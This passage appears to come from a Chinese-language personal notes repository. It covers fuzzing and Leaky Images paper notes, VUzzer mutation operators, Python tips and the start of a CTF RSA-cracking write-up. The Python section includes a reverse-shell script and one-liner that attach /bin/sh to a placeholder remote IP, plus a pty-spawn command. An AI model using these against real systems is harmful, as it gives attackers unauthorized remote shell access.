定义是两个比较的值之间有多少bit一致，\r\n对于一个已经到达基本块 定义是其所有未到达邻居的符合性的最大值，\r\n对于一个seed 定义是覆盖的所有基本块的符合性的累加\r\n\r\nseed queue新的结构 在相同coverage 发现更高分数的seed的时候 替换；在发现相同coverage 相同分数 但基本块conformance的分布不同的时候，加入的这个Node数组\r\n\r\n这种方式可以与梯度下降相当，还能避免Angora的陷入局部最优的问题\r\n在替换seed后 后续对这个seed的使用也立刻换成新的seed 这样可以在LAVA数据集上快3倍\r\n\r\n选seed的时候 给高分数的更高权重\r\n\r\nselective testing 相比AFL的coverage tracking多了两个模式：FTI变量值监测，进化优化算conformance分数\r\n当conformance一段时间不增加了就切回AFL的模式 提高运行速度\r\n\r\nconformance计算用的by operations like __builtin_popcount\r\nFTI用到的值监测 用的bitmap的结果 给每个变量一个全局唯一的ID\r\n\r\nLAVA-M除了who也有unlisted bugs?\r\n\r\n更深入的分析：\r\nFTI的under taint问题\r\nFTI有没有用？ 实现一个基于DTA的镜像比较\r\n各个不同部分对结果的贡献 去掉优先策略，去掉conformance进化 三者比较\r\nselective fuzzing 比较执行速度\r\n\r\n其他Paper:\r\n\r\n```\r\nDigFuzz[45] 用了符号执行 概率路径优先模型\r\nTaintInduce[46]可以自动推测出propagation rules\r\nProFuzzer[42]也是一次变异一个字节 但只关注coverage变化 不能推断出污点的依赖关系 和FairFuzz[24]都能推断partial type of mutated bytes 但对这个分支是否已经到过是insensitive的\r\nMutaFlow[26] 监测sink APIs的变化 参数是否被tainted\r\nREDQUEEN[4] 能处理direct copy但不能找到精确的位置 需要百次运行来获得a colorized version with higher entropy 再测一遍获得位置 整个过程太慢\r\nIntel-laf[1] 将长的比较分割成短的比较 但是带来更多语义相同的路径 不能处理非常量比较\r\nSYMFUZZ[8] 可以检测input bits之间的依赖 计算出optimal mutation ratio\r\n```\r\n\r\n\r\n-----\r\n\r\n## VUzzer的变异操作\r\n\r\nhttps://github.com/vusec/vuzzer/blob/f6f7d593a0e76e86afb3c7af6d5186f897bab979/operators.py#L291\r\n\r\n这里我们分析一下vuzzer实现的变异操作，其所有operators为一个数组，每个元素都是一个函数\r\n\r\n同一个函数可以出现多次，排序后如下所示，我按照我的理解标注了功能：\r\n\r\n```\r\nadd_random 选择一个随机位置 插入随机字符串\r\nadd_random\r\nadd_random\r\nchange_bytes 根据TAINTMAP修改\r\nchange_bytes\r\nchange_random 选择一部分字节替换为随机字符串\r\nchange_random\r\nchange_random_full 选择一部分字节替换为随机字符串或从程序中提取出的magic bytes\r\nchange_random_full\r\ndouble_fuzz 随机选择两种mutator\r\neliminate_double_null 删去\\0\\0\r\neliminate_null 将\\0替换为A\r\neliminate_random 随机删去一部分\r\neliminate_random\r\nint_slide 将特定位置变为 \\xFF\\xFF\\xFF\\xFF 或 \\x80\\x00\\x00\\x00 或 \\x00\\x00\\x00\\x00\r\nlower_single_random 随机变异1~100次：每次选择一个随机字符变为其-1\r\nraise_single_random 随机变异1~100次：每次选择一个随机字符变为其+1\r\nsingle_change_random 随机变异1~100次：每次选择一个随机字符变为随机字符\r\ntotally_random 生成一个长度在100~1000的字符串\r\n```\r\n\r\n----\r\n\r\n## Leaky Images: Targeted Privacy Attacks in the Web\r\n\r\n[Usenix19](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu) [PDF](https://www.usenix.org/system/files/sec19-staicu.pdf)\r\n\r\n攻击者可以知道用户在google,onedrive,dropbox的登录身份，通过特定分享一个图片看能否成功加载\r\n\r\n在intro里就给出一个吸引人的例子：用来去匿名化审稿人——收集所有committe的邮箱分享图片，论文中给个攻击者网站的链接\r\n\r\n表格1比较相关的攻击：追踪像素、社交媒体指纹（是否登录）、CSRF（有副作用）、本文Leaky images\r\n\r\n比较：谁能攻击？ 攻击者能实现啥？ 用途场景\r\n\r\n所有网站都能发起攻击，可以准确找出受害者，定向的fine-grained去匿名化\r\n\r\n研究了250个最流行网站的30个 找到8个网站有漏洞 手工找 共享的图片能通过一个link加载 且只有特定用户能访问（基于cookie的访问控制）\r\n\r\n贡献：\r\n\r\n- 新的攻击 定向隐私攻击滥用图片共享服务来确定受害者是否正在访问攻击者的网站\r\n- 讨论了攻击的各个变种 可以攻击aim at单个用户 一群用户 不同服务之间link用户 以及不需要js的\r\n- 展示8个流行网站存在问题 让第三方网站能定位他们的用户\r\n- 提出多种缓解问题的方案并讨论优缺点\r\n\r\nTable2 shows a two-dimensional matrix 根据是否鉴权+URL是公开、不同用户相同、不同用户不同来区分，只有需要鉴权+公开url 和 需要鉴权+url对攻击者可知 才能做Leaky image攻击\r\n\r\n讨论部分：在方法一节中就讨论related work，比较追踪像素、指纹、定向攻击vs大规模追踪。定向攻击据说对高价值受害者越来越流行[37]\r\n\r\n现实measurement的讨论 Our study of ... in real-world sites enables several observations.\r\n\r\n- Leaky images是普遍的 prevalent\r\n- 受害者甚至不会注意到被共享了一个图片\r\n- 受害者不能unshare\r\n- 图片共享服务使用了多种实现策略的混合 use a diverse mix of implementation strategies\r\n- 不同网站攻击面不同 varies from site to site\r\n\r\n表达：\r\n\r\n仅仅需要 involve nothing more than ...\r\n\r\n证明现实存在能影响今天最流行网站 Section 4 shows that these cases occur in practice, and that they affect some of today's most popular websites.\r\n\r\n为了理解最流行网站受影响的程度 To understand to what extent popular websites are affected by the privacy problem discussed in this paper\r\n\r\n第一且最重要的The first and perhaps most important observation is that ...\r\n\r\n希望能促进以后更自动化的研究 We hope that our results will spur future work on more automated analyses that identify leaky images\r\n\r\n讨论每个解决方案不足\r\n\r\nThe drawback of this fix is that ...\r\n\r\nOn the downside, implementing this defense may ...\r\n\r\nHowever, this mitigation cannot defend against ...\r\n\r\nrequire the developers to be aware of the vulnerability in the first place. 事先就知道这个漏洞的存在\r\n\r\n和GDPR很搭，要求设计上默认保护 would be in the spirit of the newly adopted European Union's Genearl Data Protection Regulation which requires data protection by design and by default.\r\n\r\n需要更多研究来深入分析可用性+兼容性+部署开销，to aid the browser vendors to take an informed decision, future work should perform an in-depth analysis of all these defenses in terms of usability, compatibility and deployment cost, in the style of ... [9], and possibly propose additional solutions.\r\n\r\n补充了一种新的攻击Leaky images adds a privacy-related attack to the set of existing targeted attacks.\r\n\r\n厂商修复说明问题很重要 This feedback shows that the problem we identified is important to practitioners.\r\n\r\n我们的论文帮助提高开发者和研究者的意识以后避免这个问题 Our paper helps raising awareness among developers and researchers to avoid this privacy issue in the future.\r\n\r\n技术：\r\n\r\n不用onload也可以去检查已经加载的图片的宽高\r\n\r\n用<object data=\"...\">嵌套加载 在外面的失败就会加载里面的，这个方案不需要js\r\n\r\n图片分享服务能分享给一批用户，把每个受害者编码成bit vector，每个bit关联一个图 encode each victim with a bit vector and to associate each bit with one shared image\r\n\r\n这个攻击假设了用户已经在浏览器登录，Skype大部分用户都是通过电脑手机的client，所以这个攻击的影响有限 hence the impact of this attack is limited to the web users\r\n\r\n根本原因 js和图片都不受同源策略影响\r\n\r\n缓解措施：\r\n\r\n服务端：这些方法都要求开发者首先就意识到这种攻击的存在\r\n\r\n禁用基于cookie的鉴权，不同用户url不同 不足：链接的私密性可以被comrpmised如不安全的通道，浏览器的侧信道或者直接让用户以不安全的方式处理链接\r\n\r\n更严格的cookie鉴权，不同用户url不同 不足：实现可能困难要维护用户和url的映射，而且增加了新的访问控制性能损耗\r\n\r\n用CSRF的方式 检查origin头 不足：不能防御信任域的攻击 Facebook之前都允许用户设置html代码\r\n\r\n浏览器：\r\n\r\n默认不使用cookie加载第三方图片\r\n\r\n只有当浏览器确定鉴权与否不影响加载图片的内容 扩展就是默认禁止 用csp扩展来允许双重加载\r\n\r\n类似于ShareMeNot[32] 实现默认阻止第三方图片请求 除非用户显式同意\r\n\r\n浏览器做information flow control 保证图片是否加载成功的信息不发给服务器 但这个侧信道太多\r\n\r\n高级用户：\r\n\r\n图片共享服务商应该提供用户更多控制，例如应该决定谁有权限共享给他，以及当前被共享的列表 但大部分用户不关心while the majority of the users are unlikely to take advantage of such fine-grained controls.\r\n\r\n"
  },
  {
    "path": "Python.md",
    "content": "# Python\r\n\r\n嗯哼，Python很好玩呢...有人说Python是能运行的伪代码，就写代码的速度而言是显著优于C的，也有很多好用的类库呢，反正强烈推荐这门语言啦~\r\n\r\n当你尝试一个包的时候，注意自己的py文件名称不能与包名重名，例如不要出现flask.py\r\n\r\n\r\n----\r\n\r\n## 安装pip\r\n\r\n```\r\ncurl https://bootstrap.pypa.io/get-pip.py -o get-pip.py\r\npython get-pip.py\r\n```\r\n\r\n## 设置pip源 - mirrors.aliyun.com\r\n\r\n如果只需要一次性安装个包（如Dockerfile）： \r\n\r\n```\r\npip install -i https://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com\r\n```\r\n\r\n在Linux服务器上安装python的包时，执行这段代码可以将pip源改为国内的阿里镜像（豆瓣源似乎不再更新），能显著提高包的下载速度\r\n\r\n```bash\r\nmkdir -p ~/.pip\r\necho \"\"\"\r\n[global]\r\nindex-url = http://mirrors.aliyun.com/pypi/simple/\r\n[install]\r\ntrusted-host=mirrors.aliyun.com\r\n\"\"\">~/.pip/pip.conf\r\n```\r\n\r\n至于Windows用户，在用户目录下创建一个pip目录，如：C:\\Users\\chenyuan\\pip，新建文件pip.ini，内容如下：\r\n\r\n```\r\n[global]\r\nindex-url = http://mirrors.aliyun.com/pypi/simple/\r\n[install]\r\ntrusted-host=mirrors.aliyun.com\r\n```\r\n\r\n### 反弹shell\r\n\r\n首先自己的服务器上用**nc -l 端口**\r\n\r\n```python\r\nimport socket,subprocess,os\r\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\r\ns.connect(( \"IP地址\" , 端口 ))\r\nos.dup2(s.fileno(),0)\r\nos.dup2(s.fileno(),1)\r\nos.dup2(s.fileno(),2)\r\np=subprocess.call([\"/bin/sh\",\"-i\"])\r\n```\r\n\r\n单行版本：\r\n\r\n```\r\nIP=\"x.x.x.x\";PORT=6666;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(( IP , PORT ));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])\r\n```\r\n\r\n### 获得一个tty\r\n\r\n    python -c 'import pty; pty.spawn(\"/bin/sh\")'\r\n\r\n----\r\n\r\n## 让requests使用多个IP\r\n\r\nrequests包并没有使用socket.create_connection函数，所以替换socket.create_connection并不够\r\n\r\n```python\r\ndef function_hook_parameter(oldfunc, parameter_index, parameter_name, parameter_value):\r\n    \"\"\"\r\n    创造一个wrapper函数，劫持oldfunc传入的第parameter_index名为parameter_name的函数，固定其值为parameter_value; 不影响调用该函数时传入的任何其他参数\r\n    用法： 原函数 = function_hook_parameter(原函数, 从1开始计数的参数所处的位置, 这个参数的名称, 需要替换成的参数值)\r\n\r\n    例子： 需要劫持socket.create_connection这个函数，其函数原型如下： \r\n               create_connection(address, timeout=_GLOBAL_DEFAULT_TIMEOUT, source_address=None)\r\n           需要对其第3个参数source_address固定为value，劫持方法如下\r\n               socket.create_connection = function_hook_parameter(socket.create_connection, 3, \"source_address\", value)\r\n    \"\"\"\r\n    real_func = oldfunc\r\n    def newfunc(*args, **kwargs):  # args是参数列表list，kwargs是带有名称keyword的参数dict\r\n        newargs = list(args)\r\n        if len(args) >= parameter_index:  # 如果这个参数被直接传入，那么肯定其前面的参数都是无名称的参数，args的长度肯定长于其所在的位置\r\n            newargs[parameter_index - 1] = parameter_value  # 第3个参数在list的下标是2\r\n        else:  # 如果不是直接传入，那么就在kwargs中 或者传入的可选参数中没有这个参数，直接设置kwargs即可\r\n            kwargs[parameter_name] = parameter_value\r\n        return real_func(*newargs, **kwargs)\r\n    return newfunc\r\n\r\n\r\nmyip = \"x.x.x.x\" #你需要使用的IP，需要操作系统已经取得这个IP\r\nimport socket\r\nsocket.create_connection = function_hook_parameter(socket.create_connection, 3, \"source_address\", (myip, 0))\r\nimport requests\r\nbakup_create_connection = requests.packages.urllib3.util.connection.create_connection #备份一份以备后续继续替换\r\nrequests.packages.urllib3.util.connection.create_connection = function_hook_parameter(requests.packages.urllib3.util.connection.create_connection, 3, \"source_address\", (myip, 0))\r\n\r\n# 验证是否成功修改源IP\r\nprint(requests.get(\"http://ip.cn\").text) #访问网站查看当前使用的公网IP，如果内网你可以自行搭建服务器查看访问日志从而确定IP\r\n\r\n# 如果后续还要进行替换，则应该传入bakup_create_connection\r\nmynewip = \"x.x.x.y\" #另外一个当前操作系统已经取得的IP\r\nrequests.packages.urllib3.util.connection.create_connection = function_hook_parameter(bakup_create_connection, 3, \"source_address\", (mynewip, 0))\r\n```\r\n\r\n\r\n\r\n----\r\n\r\n## Python多线程模板\r\n\r\n使用threading模块进行开发\r\n\r\n[MultiThread_Template.py](code/MultiThread_Template.py)\r\n\r\n## http.server（BaseHTTPServer）并发性改善\r\n\r\n### New version 不必修改库代码\r\n\r\n在使用BaseHTTPServer.HTTPServer的时候，对其使用的父类修改创造自己的类，参考[How to dynamically change base class of instances at runtime?](https://stackoverflow.com/questions/9539052/how-to-dynamically-change-base-class-of-instances-at-runtime)\r\n\r\n```\r\nimport BaseHTTPServer # 如果py3，需要import http.server as BaseHTTPServer\r\nimport socketserver\r\nMyHTTPServer = type('MyHTTPServer', (socketserver.ThreadingTCPServer,), dict(BaseHTTPServer.HTTPServer.__dict__))\r\n\r\ndef MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):\r\n    pass # 省略handler的代码，一些do_GET，do_POST的函数\r\n\r\nhttpd = MyHTTPServer( ('0.0.0.0', 80), MyHandler)\r\nhttpd.serve_forever()\r\n```\r\n\r\n怎么知道MyHTTPServer的父类确实被修改了呢？ 可以查看其__mro__属性（Method Resolution Order attribute）\r\n\r\n### Old version 修改库代码(不建议)\r\n\r\n> 参考资料：[利用Python中SocketServer 实现客户端与服务器间非阻塞通信](http://blog.csdn.net/cnmilan/article/details/9664823)\r\n\r\n> 直接修改BaseHTTPServer的代码中的一个细节，将BaseHTTPServer类继承的原先只能支持单个请求的SocketServer.TCPServer改为每个连接一个线程的SocketServer.ThreadingTCPServer，使BaseHTTPServer能支持并发而不是一次只能处理单个请求\r\n\r\n**Python3的方法**：\r\n\r\n在Python3中BaseHTTPServer改名为http.server了，首先找到http.server所在的py文件：\r\n\r\n    python3 -c \"import http.server; print(http.server)\"\r\n\r\n修改其提示的文件，例如我这里是`/usr/lib/python3.4/http/server.py`\r\n\r\n搜索`class HTTPServer`，如果是用vim可以用`/class HTTPServer`\r\n\r\n修改找到的这一行，改为：\r\n\r\n```python\r\nclass HTTPServer(socketserver.ThreadingTCPServer):\r\n```\r\n\r\n**Python2的方法**：\r\n\r\n首先找到BaseHTTPServer在哪：\r\n\r\n     python -c \"import BaseHTTPServer; print(BaseHTTPServer)\"\r\n\r\n修改对应的文件，如/usr/lib/python2.7/BaseHTTPServer.py，注意不要打开他直接提示的pyc文件而是要对应的同名py文件\r\n\r\n找到这行（vim中可以输入`/class HTTPServer`进行搜索）：\r\n\r\n```python\r\nclass HTTPServer(SocketServer.TCPServer):\r\n```\r\n\r\n修改其继承的父类：\r\n\r\n```python\r\nclass HTTPServer(SocketServer.ThreadingTCPServer):\r\n```\r\n\r\n----\r\n\r\n## 无root权限安装Python\r\n\r\n下载最新版python源码后指定prefix编译，假设用户目录为/home/chenyuan\r\n\r\n```\r\napt-get install libssl-dev openssl \r\ncurl -O https://www.python.org/ftp/python/3.5.2/Python-3.5.2.tgz\r\ntar -xzf Python-3.5.2.tgz\r\ncd Python-3.5.2/\r\n./configure --prefix=/home/chenyuan/python3\r\nmake\r\nmake install >/dev/null\r\npushd /home/chenyuan/python3/bin\r\ncp python3 python\r\ncp pip3 pip\r\nalias python3=`pwd`/python\r\nalias pip3=`pwd`/pip\r\n```\r\n\r\n----\r\n\r\n## 中文输出乱码问题\r\n\r\n方法1：运行py前设置环境变量\r\n\r\n```bash\r\nexport PYTHONIOENCODING=utf8\r\n```\r\n\r\n方法2：强制修改stdout\r\n\r\n```\r\nimport sys\r\nsys.stdout=open(1, 'w', encoding='utf-8', closefd=False)\r\n```\r\n\r\n----\r\n\r\n## 遵循PEP8检查你的代码\r\n\r\n[pycodestyle](https://github.com/PyCQA/pycodestyle)\r\n\r\n安装并使用pycodestyle检查代码，忽略E501一行不能长于80个字符的限制：\r\n\r\n```\r\npip install pycodestyle\r\npycodestyle --show-source --ignore=E501 yourcode.py\r\n```\r\n\r\n----\r\n\r\n## 生成随机字符串\r\n\r\n```\r\nimport random\r\nimport string\r\ndef random_str(length=8):\r\n    return \"\".join(random.sample(string.ascii_letters, length))\r\n```\r\n\r\n```\r\nfrom random import Random\r\ndef random_str(randomlength=8):\r\n    str = ''\r\n    chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'\r\n    length = len(chars) - 1\r\n    random = Random()\r\n    for i in range(randomlength):\r\n        str+=chars[random.randint(0, length)]\r\n    return str\r\n```\r\n\r\n----\r\n\r\n## Python解方程\r\n\r\n需要 `pip install sympy`\r\n\r\n```\r\nfrom sympy import *\r\n# 解一元方程：\r\n#   2x^2-18=0\r\nx=Symbol('x')\r\nprint(solve(2*x**2-18,x))\r\n# 得到[-3,3]\r\n\r\n# 解方程组\r\n#   y=1-x\r\n#   3x+2y-5\r\nx,y=symbols('x y')\r\nprint(solve([ y-1+x, 3*x+2*y-5 ], [ x , y ]))\r\n# 得到{x: 3, y: -2}\r\n```\r\n\r\n----\r\n\r\n## 大数据判断in\r\n\r\n一定要用set，因为set的in操作是O(1)的，用list是O(n)速度太慢\r\n\r\n----\r\n\r\n## 解决Python.h: No such file or directory\r\n\r\n```\r\napt-get install -y python-dev python3-dev\r\n```\r\n\r\n如果为CentOS系统：\r\n\r\n```\r\nyum install python-devel\r\n```\r\n\r\n----\r\n\r\n## 二进制字符串转普通字符串\r\n\r\n方法一：将字符串每8个分成一组，用int转10进制，再用chr转为ascii字符\r\n\r\n```\r\ns=\"0110001101111001\"\r\nans=\"\"\r\nfor i in range(0,len(s)//8):\r\n    x = s[i*8:i*8+8]\r\n    ans+=chr(int(x,2))\r\n```\r\n\r\n方法二：利用binascii，先用int转为10进制，然后转为16进制字符串，调用unhexlify执行翻译\r\n\r\n```\r\nimport binascii\r\ns=\"0110001101111001\"\r\nans=binascii.unhexlify('%x'%int(s,2)).decode()\r\n```\r\n\r\n补充：相应的如果要把十进制转为二进制，可以用bin(123)[2:]\r\n\r\n----\r\n\r\n## 十六进制字符串转bytes字符串\r\n\r\n```\r\nfrom base64 import b16encode,b16decode\r\nprint( b16encode(b'py3.io').decode() ) #output: 7079332E696F\r\nprint( b16decode(\"7079332E696F\".upper()) ) #output: b'py3.io', 这里使用upper转大写\r\n```\r\n\r\n相应的，拿到一个十进制数，转字符串：\r\n\r\n```\r\nkey = 5287002131074331513\r\nprint( b16decode( hex(key)[2:].upper() ) )#output: b'I_4m-k3y'\r\n```\r\n\r\n----\r\n\r\n## 用Python3写PAT心得\r\n\r\n* 如果发生格式错误，检查输出的最后一行的print，加上end=\"\"表示不要换行\r\n\r\n* 如果数据规模大导致超时，代码中的in操作前先把list转为set，能大幅度提速\r\n\r\n----\r\n\r\n## 用requests进行post\r\n\r\n需要注意加上这两个参数：\r\n\r\n```\r\n,allow_redirects=False,headers={\"Content-Type\": \"application/x-www-form-urlencoded\"}\r\n```\r\n\r\n登录请求的时候是要根据返回的headers里面Location有没有对不对来判断登录是否成功的，而requests默认会跟随301/302跳转，导致无法获取到跳转请求的headers，所以加上`allow_redirects=False`\r\n\r\n另外就是post数据的时候必须给出正确的Content-Type，否则服务器不认这个post的\r\n\r\n再者就是可能对方有反爬虫措施，加上Referer和User-Agent就好咯\r\n\r\n如果需要提交的是json的数据，记得post的data的单双引号要正确，应该用json.dumps的结果去post\r\n\r\n如果要做爬虫，欢迎使用我的[EasyLogin](https://github.com/zjuchenyuan/EasyLogin)，无需再操心这些细节，专注于核心爬虫代码\r\n\r\n----\r\n\r\n## 通过tkinter获取、修改剪贴板\r\n\r\n支持py2和py3，Learned from https://www.daniweb.com/programming/software-development/code/487653/access-the-clipboard-via-tkinter\r\n\r\n```\r\ntry:\r\n    from tkinter import Tk\r\nexcept ImportError:\r\n    from Tkinter import Tk\r\nroot = Tk()\r\nroot.withdraw() #隐藏Tk的窗口\r\ntext = \"Donnerwetter\"\r\n# 清空剪贴板 clear clipboard\r\nroot.clipboard_clear()\r\n# 写入剪贴板 write text to clipboard\r\nroot.clipboard_append(text)\r\n# 读取剪贴板 text from clipboard\r\nclip_text = root.clipboard_get()\r\nprint(clip_text)  # --> Donnerwetter\r\n```\r\n\r\n----\r\n\r\n## 符号数与无符号数转换\r\n\r\n### 无符号→有符号，为了加上负号：\r\n\r\n```\r\nimport ctypes\r\nctypes.c_int64(17039472050328044269).value\r\n```\r\n\r\n上述将得到-1407272023381507347\r\n\r\n### 有符号→无符号，为了去掉负号：\r\n\r\n```\r\nimport ctypes\r\nctypes.c_uint64(-1407272023381507347).value\r\n```\r\n\r\n上述将得到17039472050328044269\r\n\r\n----\r\n\r\n## 使用signal.SIGALRM在限定时间后退出进程 (only Linux)\r\n\r\n在设计CTF的题目的时候，有必要限制用户的连接时间，这时候简单方案就是用SIGALRM信号咯\r\n\r\n```\r\ndef clock(timeout=5):\r\n    import signal\r\n    def signal_handler(signum,data):\r\n        if signum == signal.SIGALRM:\r\n            print(\"Time is up!\")\r\n            exit()\r\n    signal.signal(signal.SIGALRM, signal_handler)\r\n    signal.alarm(int(timeout))\r\n```\r\n\r\n----\r\n\r\n## 捕捉用户的Ctrl+C\r\n\r\n特殊情况下我们想屏蔽掉Ctrl+C，这时候写个自己的函数处理SIGALRM信号就好啦\r\n\r\n```\r\nimport signal\r\n\r\ndef signal_handler(signum,data):\r\n    if signum == signal.SIGINT:\r\n        print(\"Ctrl+C is pressed!\")\r\n        #raise KeyboardInterrupt\r\n\r\nif __name__ == '__main__':\r\n    signal.signal(signal.SIGINT, signal_handler)\r\n    sleep(666)\r\n```\r\n\r\n----\r\n\r\n## 使用signal.SIGALRM实现定时器 (only Linux)\r\n\r\n实现一个类似Javascript的setInterval功能\r\n\r\n```\r\nimport signal\r\nfrom time import sleep\r\nINTERVAL=1\r\nCOUNT=0\r\ndef signal_handler(signum,data):\r\n    global COUNT\r\n    if signum == signal.SIGALRM:\r\n        # 你的定时器代码写在这里 Your function here\r\n        print(\"Count! {}\".format(COUNT))\r\n        COUNT+=1\r\n        signal.alarm(int(INTERVAL)) #再设置一个clock就能循环往复咯\r\n\r\nif __name__ == '__main__':\r\n    signal.signal(signal.SIGALRM, signal_handler)\r\n    signal.alarm(int(INTERVAL))\r\n    sleep(23333)\r\n```\r\n\r\n----\r\n\r\n## 使用pdb进行调试\r\n\r\n在需要调试的文件头部加入\r\n\r\n```\r\nimport pdb\r\n```\r\n\r\n需要停下来的地方加入\r\n\r\n```\r\npdb.set_trace()\r\n```\r\n\r\nTutorial: [https://github.com/spiside/pdb-tutorial](https://github.com/spiside/pdb-tutorial)\r\n\r\n----\r\n\r\n## 使用Python开发Serverless(Function as Service)后端服务\r\n\r\n[项目地址 & 部署过程](https://github.com/zjuchenyuan/zju-jwb-to-icalendar)\r\n\r\n如果您只是需要部署一个Example，↑↑↑(顺手求个Star)；如果您对这个代码是如何写出来的和踩坑过程感兴趣，继续看吧：\r\n\r\n### 踩过的坑与解决过程(论阿里云是怎么把人气死的)\r\n\r\n#### 1.API网关与函数计算的对接\r\n\r\n按照[教程](https://help.aliyun.com/document_detail/54788.html)，当时不够耐心，拿着hello world的程序（不要信教程中的2.1部分的截图）就在使用API网关，结果总是返回503\r\n\r\n耐心下来看文档把程序改为后面的撞墙式程序就好了，人家其实说了函数计算应该返回的数据结构，不按照这个结构来就会503：\r\n\r\n```\r\n{\r\n    \"isBase64Encoded\": True或者False,\r\n    \"statusCode\": 200, #可以为302来实现跳转\r\n    \"headers\": {...} #返回的response headers，但其中的Content-Type没有作用\r\n    \"body\": \"...\" #返回的网页正文内容\r\n}\r\n```\r\n\r\n#### 2.修改API网关参数定义后要再次发布\r\n\r\n无论有没有改Mock设置，只要改动了设置都需要重新发布，发布线上版本即可\r\n\r\n#### 3.不能使用Windows版本的fcli工具(fcli.exe)\r\n\r\n人家已经发布了新版本的fcli解决了此问题\r\n\r\n这个bug简直了，整个流程如下：\r\n\r\n按照文档说明一路部署上传都没有问题，调用函数的时候却说`Unable to import module 'index'`\r\n\r\n然后我就在Linux服务器上`docker pull python:2.7`然后`docker run -it --rm -v /root/ical:/code` python:2.7 /bin/bash`，进入bash后`cd /code; python`，进入python后`import index`\r\n\r\n啊哈，发现是`ImportError: No module named 'bs4'`，自己的锅，用`pip install bs4 -t .`一个个解决依赖包后，在docker容器中总算是能够跑起来了，且能正常返回了\r\n\r\n然后用`fcli.exe shell`的`mkf`再上传一次，调用函数还是老样子`Unable to import module 'index'`，令人很抓狂。。。\r\n\r\n突然想到不能被import应该是全局的import失败了，多次折腾后，把`from grabber import grabber`移动到index函数中，总算得到了明确的报错：还是`ImportError: No module named 'bs4'`；哈？这是什么鬼，明明我都把bs4文件夹放到代码目录下了，为啥还是报错？\r\n\r\n既然他说import失败，会不会是Python搜索包的PATH的问题，于是Google到了把当前文件所在的目录加入搜索的方法：\r\n\r\n```\r\nsys.path.append(os.path.dirname(os.path.abspath(__file__)))\r\n```\r\n\r\nOrz, 还是没有用。。。\r\n\r\n想到既然部署后代码文件夹`/code`没有我需要的依赖包，那`/code`文件夹里面到底有啥呢？果断fuck一下，在index函数开头写上:\r\n\r\n```\r\ndef index():\r\n    return {\"fuck\": list(os.listdir(\"/code\"))}\r\n    import bs4 #会出错的import\r\n    ...#正常代码\r\n```\r\n\r\n总算调用成功了，然后一看输出结果，woc! (内心中骂了多次mdzz阿里云\r\n\r\n给张截图：\r\n\r\n![](assets/img/fuckaliyun.jpg)\r\n\r\nos.listdir应该返回的是当前这个文件夹下含有的文件名称和文件夹名称，而现在我们看到的是含有`\\\\`很像路径名的东西，说明这个fcli.exe把windows的`\\\\`路径名当成了文件名的一部分，部署后在/code文件夹下也就对应创建了名称为`bs4\\\\__init__.py`这样的文件(根本没有bs4子文件夹)，Python当然会找不到bs4这个包啊！摔！\r\n\r\n改用人家fcli的Linux 64bit版本，问题解决。。。\r\n\r\n总结一下，万万想不到Windows版本的工具(针对0.5版本)会把路径分隔符`\\\\`当成文件名一部分来看待，真是大开眼界\r\n\r\n----\r\n\r\n## 修复Linux下gbk编码的文件名\r\n\r\n代码见[code/fixgbknames.py](code/fixgbknames.py)\r\n\r\n在特殊情况下，Linux中可能会有gbk编码的文件名，这种文件用`ls`查看都是乱码，难以操作\r\n\r\n如何修复这些`错误`的文件名呢？用到`python3`提供的os.walk(b\".\")就能得到bytes类型的文件名，然后`os.system`调用bytes类型的`mv`命令行就好啦~\r\n\r\n----\r\n\r\n## Crack RSA!\r\n\r\n### 题目信息\r\n\r\n题目来源：[清华蓝莲花战队纳新表（需自备梯子）](https://docs.google.com/forms/d/e/1FAIpQLSfOI5AgEvlqa6-nRLAZI8Dvs6_XmZDHSog2pKteS5rvp3AU0Q/viewform)\r\n\r\n密码学 (Cryptography)\r\n\r\nRSA算法的原理以及破解，请下载[这个文件](https://d.py3.io/rsa.zip)，解密其中的flag.enc文件。\r\n\r\n### RSA是啥\r\n\r\n略...(连这个都不知道还不去google，你适不适合CTF心里一点B数都没有吗)\r\n\r\n符号约定： n一个大数， p和q是它的质因子，d私钥，m信息明文，c信息密文\r\n\r\n### 破解的数学原理\r\n\r\n参考：https://stackoverflow.com/questions/4078902/cracking-short-rsa-keys\r\n\r\nGoogle搜索关键词 crack rsa key\r\n\r\n给定公钥n和e，假定我们成功分解n = p * q，那么求出d\r\n\r\n```\r\nd = e^-1 mod phi(n)\r\n  = e^-1 mod (p-1)*(q-1)\r\n```\r\n\r\n现在我们有了私钥d，可以对密文c解密得到明文m：\r\n\r\n```\r\nm = c^d (mod n)\r\n```\r\n\r\n### 实现它\r\n\r\n#### 题目给的公钥是啥格式，怎么读取出N和e?\r\n\r\n题目给的公钥是这样的：\r\n\r\n```\r\n-----BEGIN PUBLIC KEY-----\r\nMDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAMgVHv67DCP6oRAiQJxaEuSluWmE5iZb\r\ne+fuqvuwBPUfAgMBAAE=\r\n-----END PUBLIC KEY-----\r\n```\r\n\r\n看起来很短，估计是可以分解的比较小的N\r\n\r\ngoogle搜索关键词：openssl get n from public key\r\n\r\n参考：https://stackoverflow.com/questions/3116907/rsa-get-exponent-and-modulus-given-a-public-key\r\n\r\n人家给出了这样的做法：(环境Linux，已经安装openssl)\r\n\r\n```\r\n# 丢弃头尾的---行，提取公钥内容并合并一行（这是base64编码的字符串）\r\nPUBKEY=`grep -v -- ----- public.pem | tr -d '\\n'`\r\n# 编码格式是asn1，查看这种编码的格式\r\necho $PUBKEY | base64 -d | openssl asn1parse -inform DER -i\r\n```\r\n\r\n将输出：\r\n\r\n```\r\n    0:d=0  hl=2 l=  60 cons: SEQUENCE\r\n    2:d=1  hl=2 l=  13 cons:  SEQUENCE\r\n    4:d=2  hl=2 l=   9 prim:   OBJECT            :rsaEncryption\r\n   15:d=2  hl=2 l=   0 prim:   NULL\r\n   17:d=1  hl=2 l=  43 prim:  BIT STRING\r\n```\r\n\r\n最后一行BIT STRING就是数据所在的位置，偏移为17\r\n\r\n提取出来：\r\n\r\n```\r\necho $PUBKEY | base64 -d | openssl asn1parse -inform DER -i -strparse 17\r\n```\r\n\r\n得到：\r\n\r\n```\r\n    0:d=0  hl=2 l=  40 cons: 